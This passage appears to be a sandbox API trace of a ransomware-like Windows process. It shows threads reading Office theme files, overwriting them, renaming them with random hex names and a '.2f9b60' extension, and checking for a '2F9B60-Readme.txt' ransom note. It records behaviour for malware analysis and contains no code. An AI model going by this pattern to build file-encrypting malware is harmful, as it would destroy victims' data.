hFile=0xe54, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2883f950, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x2883f950*=0x106, lpOverlapped=0x0) returned 1 [0095.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0095.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0095.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0095.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0095.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f50 [0095.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f50) returned 1 [0095.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f0f0 [0095.997] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="0d") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="8c") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="f6") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="1d") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="4e") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="41") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="e4") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="fd") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="0e") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="df") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="58") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="d1") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="75") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="0b") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="14") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="96") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="5e") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="ac") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="57") returned 2 [0095.997] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="b8") returned 2 [0095.997] RtlInitAnsiString (in: DestinationString=0x2883f9c8, SourceString="0d8cf61d4e41e4fd0edf58d1750b14965eac57b8" | out: DestinationString="0d8cf61d4e41e4fd0edf58d1750b14965eac57b8") [0095.997] RtlAnsiStringToUnicodeString (in: DestinationString=0x2883f998, SourceString="0d8cf61d4e41e4fd0edf58d1750b14965eac57b8", AllocateDestinationString=1 | out: DestinationString="0d8cf61d4e41e4fd0edf58d1750b14965eac57b8") returned 0x0 [0095.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858850 [0095.998] wcscat (in: _Dest=0x1ce10a50, _Source="0d8cf61d4e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0d8cf61d4e") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0d8cf61d4e" [0095.998] wcscat (in: _Dest=0x1ce10a50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0d8cf61d4e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0d8cf61d4e.2f9b60" [0095.998] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0d8cf61d4e.2f9b60", NtPathName=0x2883f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0d8cf61d4e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118af0 [0104.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118af0) returned 1 [0104.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ea0) returned 1 [0104.726] NtQueryInformationFile (in: FileHandle=0xe54, IoStatusBlock=0x2883f9d8, FileInformation=0x2883f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2883f9d8, FileInformation=0x2883f9e8) returned 0x0 [0104.726] NtSetInformationFile (FileHandle=0xe54, IoStatusBlock=0x2883f9d8, FileInformation=0x2883f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10a50) returned 1 [0104.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858850) returned 1 [0104.733] FlushFileBuffers (hFile=0xe54) returned 1 [0104.737] CloseHandle (hObject=0xe54) returned 1 [0104.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107f00 [0104.738] wcscpy (in: _Dest=0x107f00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0104.738] wcscat (in: _Dest=0x107f00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0104.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0104.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107f00) returned 1 [0104.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5de0) returned 1 Thread: id = 602 os_tid = 0x104c [0094.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml")) returned 0x20 [0095.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml", dwFileAttributes=0x20) returned 1 [0095.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe20 [0095.059] GetFileSizeEx (in: hFile=0xe20, lpFileSize=0x2824fac0 | out: lpFileSize=0x2824fac0*=964) returned 1 [0095.059] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.059] ReadFile (in: hFile=0xe20, lpBuffer=0x2824fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2824fa88, lpOverlapped=0x0 | out: lpBuffer=0x2824fa40*, lpNumberOfBytesRead=0x2824fa88*=0x4, lpOverlapped=0x0) returned 1 [0095.258] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0095.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0095.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0095.258] NtQuerySystemTime (in: CurrentTime=0x2824f980 | out: CurrentTime=0x2824f980*=132462177010954000) returned 0x0 [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x4c781d8d [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x69a54c06 [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x1da9cecc [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x394f3d59 [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x5c0ef42 [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x26784c28 [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x4b8aa4ee [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x5ffb6d9d [0095.258] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x3b909b64 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x4b46c49 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x4501a8b6 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x401e6cce [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x4253bc8e [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x3587ad74 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x28f783b5 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x7c60294d [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x186f2d1f [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x1d7f8990 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x2681b956 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x496d3606 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x74a50959 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x610f042f [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x413ded8a [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x28fd4b50 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x1cb034b [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x4fd512b3 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x455f8a40 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x5fc19698 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x3fb78b53 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x16f14d10 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0xf555079 [0095.259] RtlRandomEx (in: Seed=0x2824f970 | out: Seed=0x2824f970) returned 0x571e6309 [0095.269] ReadFile (in: hFile=0xe20, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x2824f970, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2824f970*=0x3c4, lpOverlapped=0x0) returned 1 [0095.269] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.269] WriteFile (in: hFile=0xe20, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x2824f974, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2824f974*=0x3c4, lpOverlapped=0x0) returned 1 [0095.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0095.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0095.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0095.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0095.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0095.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced8100 [0095.983] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.983] WriteFile (in: hFile=0xe20, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2824fa90, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2824fa90*=0x10c, lpOverlapped=0x0) returned 1 [0096.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0096.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0096.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0096.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0096.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced7680 [0096.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0096.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0096.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0096.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0096.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f0f0 [0096.021] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="eb") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="b7") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="5a") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="3e") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="f6") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="91") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="e2") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="34") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="8c") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="7a") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="13") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="0e") returned 2 [0096.021] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="8e") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="35") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="c9") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="87") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="e8") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="2a") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="30") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="ba") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="b6") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="54") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f11c, _Format="%c%c" | out: _Dest="31") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f11e, _Format="%c%c" | out: _Dest="b2") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f120, _Format="%c%c" | out: _Dest="0b") returned 2 [0096.022] sprintf (in: _Dest=0x1cd9f122, _Format="%c%c" | out: _Dest="9d") returned 2 [0096.022] RtlInitAnsiString (in: DestinationString=0x2824fb08, SourceString="ebb75a3ef691e2348c7a130e8e35c987e82a30bab65431b20b9d" | out: DestinationString="ebb75a3ef691e2348c7a130e8e35c987e82a30bab65431b20b9d") [0096.022] RtlAnsiStringToUnicodeString (in: DestinationString=0x2824fad8, SourceString="ebb75a3ef691e2348c7a130e8e35c987e82a30bab65431b20b9d", AllocateDestinationString=1 | out: DestinationString="ebb75a3ef691e2348c7a130e8e35c987e82a30bab65431b20b9d") returned 0x0 [0096.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866c40 [0096.022] wcscat (in: _Dest=0x108080, _Source="ebb75a3ef691e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ebb75a3ef691e") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ebb75a3ef691e" [0096.022] wcscat (in: _Dest=0x108080, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ebb75a3ef691e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ebb75a3ef691e.2f9b60" [0096.022] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ebb75a3ef691e.2f9b60", NtPathName=0x2824fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ebb75a3ef691e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0107.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0107.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0107.615] NtQueryInformationFile (in: FileHandle=0xe20, IoStatusBlock=0x2824fb18, FileInformation=0x2824fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2824fb18, FileInformation=0x2824fb28) returned 0x0 [0107.615] NtSetInformationFile (FileHandle=0xe20, IoStatusBlock=0x2824fb18, FileInformation=0x2824fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0107.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0107.662] FlushFileBuffers (hFile=0xe20) returned 1 [0107.667] CloseHandle (hObject=0xe20) returned 1 [0107.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108080 [0107.689] wcscpy (in: _Dest=0x108080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.689] wcscat (in: _Dest=0x108080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0107.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5230) returned 1 Thread: id = 603 os_tid = 0x1050 [0094.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml")) returned 0x20 [0095.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml", dwFileAttributes=0x20) returned 1 [0095.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe50 [0095.163] GetFileSizeEx (in: hFile=0xe50, lpFileSize=0x28a4f720 | out: lpFileSize=0x28a4f720*=962) returned 1 [0095.163] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x3be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.164] ReadFile (in: hFile=0xe50, lpBuffer=0x28a4f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28a4f6e8, lpOverlapped=0x0 | out: lpBuffer=0x28a4f6a0*, lpNumberOfBytesRead=0x28a4f6e8*=0x4, lpOverlapped=0x0) returned 1 [0095.490] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79e0 [0095.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0095.490] NtQuerySystemTime (in: CurrentTime=0x28a4f5e0 | out: CurrentTime=0x28a4f5e0*=132462177013294000) returned 0x0 [0095.490] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x3f17babd [0095.490] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x34e87682 [0095.490] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x6ebb619 [0095.490] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x3d9b47d7 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x541eb405 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x271cb322 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x2f25d071 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x7824e678 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x16f88c00 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x36b709c7 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x3b9494a0 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x5aff2a59 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x5966fee1 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x4bdbe79 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x5ca1f52d [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x3fa86462 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x221ecfa2 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x58164145 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x4500bc76 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0xabbe5f3 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x22665fd4 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x24181aea [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x42d57cf6 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x3ec9d4ac [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x7c9cc28c [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x1a0abe7f [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x65c81198 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x1816534e [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x59cb6200 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x5401e446 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x10b0e761 [0095.491] RtlRandomEx (in: Seed=0x28a4f5d0 | out: Seed=0x28a4f5d0) returned 0x237a707 [0095.501] ReadFile (in: hFile=0xe50, lpBuffer=0x202100b0, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x28a4f5d0, lpOverlapped=0x0 | out: lpBuffer=0x202100b0*, lpNumberOfBytesRead=0x28a4f5d0*=0x3c2, lpOverlapped=0x0) returned 1 [0095.501] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.501] WriteFile (in: hFile=0xe50, lpBuffer=0x20213cc0*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x28a4f5d4, lpOverlapped=0x0 | out: lpBuffer=0x20213cc0*, lpNumberOfBytesWritten=0x28a4f5d4*=0x3c2, lpOverlapped=0x0) returned 1 [0095.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7470 [0095.765] 